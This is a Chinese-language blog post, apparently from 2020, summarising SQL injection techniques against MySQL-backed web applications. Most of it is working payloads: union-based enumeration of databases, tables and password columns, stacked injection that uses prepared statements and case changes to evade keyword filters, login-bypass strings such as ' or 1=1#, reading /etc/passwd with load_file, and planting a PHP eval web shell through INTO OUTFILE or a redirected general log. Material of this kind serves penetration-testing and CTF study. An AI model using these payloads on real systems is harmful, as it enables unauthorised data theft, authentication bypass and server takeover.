SQL注入总结

SQL注入流程总结

1.寻找注入点(基于报错、基于布尔值、基于时间盲注、基于联合查询)

2.判断是注入点之后丢sqlmap或者选择手工注入

3.手工注入的话爆出当前数据库名(如果盲注的话使用二分法猜解)

4.猜解表名

5.猜解字段名

6.猜解数据

联合查询

判断存在sql注入

--+或%23(#)可将后面的代码注释比如?id=1' and '1'='1,输入这段代码其实在sql自身执行时已经有‘’将代码闭合了,所有自己不需要输入

通过注释id=1' and 1=1 --+ | id=1' and 1=1%23,将后面的‘注释后不执行,在判断id时已经闭合

判断有几个字段

可以用order by判断有几个字段,例如在注入点后面输入order by 1,返回正常说明至少有一个字段,然后继续增加字段order by 3,如果在这里返回内容不正常或者为空说明字段数是3个(0,1,2).

使用实例

?id=2是注入点
?id=2 union select 1,2,3(因为有三个字段我们输入三个数字查看哪些是可以返回的,再通过返回的值执行注入)
假设2,3可以返回
?id=2 union select 1,database(),version() (通过这里可以返回当前页面的数据库以及版本号)

ps:

数据库information_schema是MySQL系统自带的数据库,其中记录了当前数据库系统中大部分我们需要了结的信息,比如字符集,权限相关,数据库实体对象信息,外检约束,分区,压缩表,表信息,索引信息,参数,优化,锁和事物等等。说白了,就是这个默认自带的数据中,存储了MySQL的数据库名字、表名字、列名字和其他信息,通过information_schema我们可以查看整个MySQL实例的情况。

数据库information_schema、表SCHEMATA、列SCHEMA_NAME,limit 0,1意思是从第0行起,取1行数据

?id=2 union select 1,schema_name,3 from information_schema.schemata limit 0,1(返回第一个数据库,改变limit 1,1可返回第二个数据库)
这里我们可以摸清有几个数据库

通过之前database()的值,我们可以知道想要的信息在这个数据库中
?id=2 union select 1,table_name,3 from information_schema.tables where table_schema='数据库名' limit 0,1(获取第一张数据表)
同样可以摸清有几张表

当确定表之后就可以查看表中的字段信息
?id=2 union select 1,column_name,colum_type from information_schema.columns where table_name='数据表名' limit 0,1

假设获取的字段名为password
?id=2 union select 1,password,3 from 数据库.数据表 limit 0,1(即可得到值)

如果需要查看多个字段但我们可用的字段不够时,我们可以用concat()来显示多个值,例子:union select 1,concat(name,'-',password) from 数据库.数据表 limit 0,1

过滤关键字

return preg_match("/select|update|delete|drop|insert|where|./i",$inject);

strstr($id,"set")&&strstr($id,"prepare")

当关键字被这样过滤掉后我们可以通过堆叠注入或者handler查询来绕过

堆叠注入

在注入点后输入;再用show查询

使用实例

?id=-1';show databses;--+	查询所有数据库,--+注释掉后面的‘号
?id=-1';show tables;--+		查询所有表
?id=-1';columns from user;--+		查询user表中所有的字段

如果user表就是你要的那可以试试用预编译来绕过select的限制
?id=-1';set @sql=concat('se','lect*from `user`;');prepare stmt from @sql;execute stmt;--+

当返回strstr过滤了set和prepare后,通过改变大小写即可,因为strstr函数不区分大小写
比如改成 sEt | prEPAre

理解prepare预处理

MySQL 5.1对服务器一方的预制语句提供支持。如果您使用合适的客户端编程界面,则这种支持可以发挥在MySQL
4.1中实施的高效客户端/服务器二进制协议的优势。候选界面包括MySQL C API客户端库(用于C程序)、MySQL
Connector/J(用于Java程序)和MySQL Connector/NET。例如,C
API可以提供一套能组成预制语句API的函数调用。其它语言界面可以对使用了二进制协议(通过在C客户端库中链接)的预制语句提供支持。对预制语句,还有一个SQL界面可以利用。与在整个预制语句API中使用二进制协议相比,本界面效率没有那么高,但是它不要求编程,因为在SQL层级,可以直接利用本界面

预制语句结构

PREPARE stmt_name FROM preparable_stmt;
EXECUTE stmt_name [USING @var_name [, @var_name] ...];
{DEALLOCATE | DROP} PREPARE stmt_name;

handler查询

handler语句结构

HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE

使用实例

设表明为user
handler user open;			打开句柄
handler user read first;	读取表首行数据
handler user read next;		读取表下一行数据
handler user close;			关闭句柄
设user表的索引为user_index
handler user open as u;				将表设为第三方指令
handler u read user_index first;	通过索引user_index读取首行数据
hander u read user_index next;		读取下一行数据
handler u read user_index prev;		读取上一行数据
handler u read user_index last;		读取最后一行数据
handler u close;					关闭句柄

万能密码注入原理

1.用户进行用户名和密码验证时,网站需要查询数据库。查询数据库就是执行SQL语句。

用户登录时,后台执行的数据库查询操作(SQL语句)是:

Select user_id,user_type,email From users Where user_id=’用户名’ And password=’密码’

2.由于网站后台在进行数据库查询的时候没有对单引号进行过滤,当输入用户名【admin】和万能密码【2’or’1】时,执行的SQL语句为:

Select user_id,user_type,email From users Where user_id=’admin’ And password=’2’or’1’

3.由于SQL语句中逻辑运算符具有优先级,【=】优先于【and】,【and】优先于【or】,且适用传递性。因此,此SQL语句在后台解析时,分成两句:

Select user_id,user_type,email From users Where user_id=’admin’ And password=’2’和’1’,两句bool值进行逻辑or运算,恒为TRUE。

SQL语句的查询结果为TRUE,就意味着认证成功,也可以登录到系统中。

输入用户名【admin】,密码【2’or’1】,即可登录成功

万能账号注入原理

输入账号 ' or 1=1# 密码随意

后台执行的语句会变成

select * from users where username='' or 1=1#' and password=md5('') 

# 号 是注释符 后边的会的注释掉 所以就变成了

select * from users where username='' or 1=1

因为or 1=1 所以成立 为 true 就成功绕过进行登录了

SQL写shell

union select 1,load_file('/etc/passwd'),3,4,5 读文件

select '<?php phpinfo();?>' into outfile 'c:\windows\tmp\1.php' 写文件

当outfile被禁止或者写入被拦截时(拥有root)
1.show variables like '%general%';	查看配置
2.set global general_log=on;	开启general log
3.set global general_log_file='/var/www/html/1.php';	设置日志为shell日志
select '<?php eval($_post[cmd]);?>' 写入shell
posted @ 2020-07-09 09:14  Lincso  阅读(441)  评论(0)    收藏  举报